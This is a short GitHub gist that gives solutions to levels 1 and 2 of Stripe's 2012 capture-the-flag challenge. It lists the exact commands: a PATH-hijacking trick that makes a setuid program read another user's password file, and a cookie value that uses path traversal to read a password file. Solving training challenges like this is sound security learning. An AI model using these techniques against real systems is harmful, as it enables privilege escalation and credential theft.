Created
February 23, 2012 06:43
-
-
Save shadabahmed/1891141 to your computer and use it in GitHub Desktop.
Solutions for https://stripe.com/blog/capture-the-flag
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Level 1: | |
| cd /tmp | |
| echo "cat /home/level02/.password" > date | |
| chmod +x date | |
| PATH=`pwd`:$PATH | |
| export PATH | |
| /levels/level01 | |
| Level 2: | |
| In javascript console before submitting the form: | |
| document.cookie = "user_details=../../home/level03/.password" | |
| Submit and you will have the password |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment